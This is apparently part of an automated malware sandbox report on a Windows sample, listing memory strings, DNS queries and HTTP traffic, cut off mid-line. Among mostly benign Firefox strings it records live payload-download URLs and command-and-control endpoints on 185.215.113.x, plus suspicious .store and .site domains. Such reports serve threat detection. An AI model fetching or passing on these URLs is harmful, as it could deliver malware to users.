Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://search-extensions/wikipedia/://vast.adsafeprotected.com/vast://securepubads.g.doubleclick.net/gampad/ad://www.facebook.com/platform/impression.php://.adsafeprotected.com/jsvid?://.adsafeprotected.com/jload?--autocomplete-popup-separator-color--panel-banner-item-info-icon-bgcolor://ads.stickyadstv.com/auto-user-sync*blocklisted:FEATURE_FAILURE_PARSE_DRIVER equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3114655458.000002550A388000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3114655458.000002550A3D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3168803607.0000223F7B603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3168803607.0000223F7B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3170995539.000030CEEEC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3114655458.000002550A388000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2982586081.000002550A0B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 17:29:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QOKjwCSR4mjz0Cf%2BvpqkNSt965QfiNxc17RVaN%2BgJasLsT7l3WmrKDMxS0Ys%2F2Z1JCbhWL%2F4Inki6%2BUNfICyQ2mBmYfiHyuFDwylFRogBPS7oZCk%2FW7EMSaN5B2CqxU5GEaTqA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7bb0036a15e5b9-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 17:30:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bndsLghJ18YtXlo1jzfKzFZrLpXdYFEGx2gxKRtsvLiyx5uMtJ%2BrVK44bNkQqzkBQAfohx6N6Qz5UfESc4bHkbRvuTG53E8fjZKfonoWb8co9mjAr3av%2FTF5OKaDrnyhO1HGxw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7bb1974ffe4802-DFW

Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: file.exe, file.exe, 00000000.00000003.2283865897.0000000000D61000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2283739354.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3009719972.0000000001480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2282756998.0000000000D7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283739354.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exePmS
Source: file.exe, 00000000.00000003.2282756998.0000000000D7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283739354.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeoP
Source: file.exe, 00000000.00000003.2282756998.0000000000D7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283739354.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3009719972.0000000001480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2282756998.0000000000D7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283739354.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe3AU
Source: file.exe, 00000000.00000003.2282756998.0000000000D7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283739354.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeakm#
Source: file.exe, 00000000.00000003.2283865897.0000000000D61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/s7
Source: file.exe, 00000000.00000003.2283739354.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3009719972.0000000001480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2282756998.0000000000D7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283739354.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeC
Source: RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357660473.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, 353ab0ae6e.exe, 0000000C.00000002.2828087899.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357660473.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp, RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357660473.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, 353ab0ae6e.exe, 0000000C.00000002.2828087899.000000000169D000.00000004.00000020.00020000.00000000.sdmp, 353ab0ae6e.exe, 0000000C.00000002.2828087899.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: 353ab0ae6e.exe, 0000000C.00000002.2828087899.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/Data
Source: RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357660473.0000000000EE4000.00000004.00000020.00020000.00000000.sdmp, RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357660473.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp, RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357660473.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357660473.0000000000EB3000.00000004.00000020.00020000.00000000.sdmp, 353ab0ae6e.exe, 0000000C.00000002.2828087899.00000000016B2000.00000004.00000020.00020000.00000000.sdmp, 353ab0ae6e.exe, 0000000C.00000002.2828087899.000000000169D000.00000004.00000020.00020000.00000000.sdmp, 353ab0ae6e.exe, 0000000C.00000002.2828087899.000000000163E000.00000004.00000020.00020000.00000000.sdmp, 353ab0ae6e.exe, 0000000C.00000002.2828087899.0000000001683000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: 353ab0ae6e.exe, 0000000C.00000002.2828087899.0000000001683000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php#R
Source: 353ab0ae6e.exe, 0000000C.00000002.2828087899.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php2
Source: 353ab0ae6e.exe, 0000000C.00000002.2828087899.00000000016B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpe)
Source: RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357660473.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpn
Source: RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357660473.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpu
Source: 353ab0ae6e.exe, 0000000C.00000002.2828087899.00000000016B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpy(OJ
Source: RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357660473.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp, 353ab0ae6e.exe, 0000000C.00000002.2828087899.000000000169D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000003.2168419842.000000000583D000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2818101315.0000000005D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2168419842.000000000583D000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2818101315.0000000005D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2168419842.000000000583D000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2818101315.0000000005D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2168419842.000000000583D000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2818101315.0000000005D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2168419842.000000000583D000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2818101315.0000000005D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2168419842.000000000583D000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2818101315.0000000005D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2168419842.000000000583D000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2818101315.0000000005D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001B.00000002.3118920098.000002550A818000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3107641537.00000255097F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001B.00000003.2951016837.000002550ACF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3090601585.0000025508D5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3134271614.000002550E99E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3136304541.0000025510095000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_CONNECTION_CREATEDorigin-controls-qua
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3090601585.0000025508DE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001B.00000002.3120468368.000002550AAD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.000002550741D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001B.00000002.3146705531.0000025578203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3109890652.0000025509903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3109890652.0000025509903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A267000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 0000001B.00000002.3109890652.0000025509903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3109890652.0000025509903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2983800747.000002550966C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A27A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value/additiona
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value/additiona
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemsthis.redux
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemshttp://mozilla.org/#
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabled
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRR
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A27A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3Enabled
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictor
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A267000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnect
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A27A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsEnabled
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 0000001B.00000002.3120468368.000002550AAD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3138467915.0000025510299000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3136304541.000002551007B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A818000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3052236450.0000025507B37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2948670458.00000255100FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3119712014.000002550A994000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3052236450.0000025507B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3084114764.0000025508676000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3138467915.00000255102A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3123492561.000002550B067000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3125528120.000002550BADA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3123492561.000002550B0BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2974971166.00000255102A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3136304541.00000255100A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3084114764.000002550868A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2929130101.000002551029D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3123492561.000002550B0DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 